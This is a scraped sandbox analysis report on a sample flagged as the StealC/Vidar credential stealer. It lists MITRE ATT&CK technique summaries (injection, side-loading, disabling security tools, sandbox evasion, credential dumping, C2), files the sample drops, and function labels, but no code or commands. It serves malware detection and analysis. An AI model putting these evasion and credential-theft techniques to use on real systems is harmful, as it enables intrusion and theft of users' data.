Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJ

C:\ProgramData\BAAAAKJKJEBGHJKFHIDGCFCBAK

C:\ProgramData\BKJEGDGI

C:\ProgramData\FCBAECGI

C:\ProgramData\GCGCFCBAKKFBFIECAEBAEBGCGD

C:\ProgramData\HCFIIIJJKJKFHIDGDBAKJEBKEG

C:\ProgramData\HJEHIJEBKEBFBFHIIDHI

C:\ProgramData\JKKFIIEBKEGIEBFIJKFI

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 004B9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 004A45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 004ABE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 004B4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 004A4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 004B9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 004A7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 004B0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 004A5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 004AA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre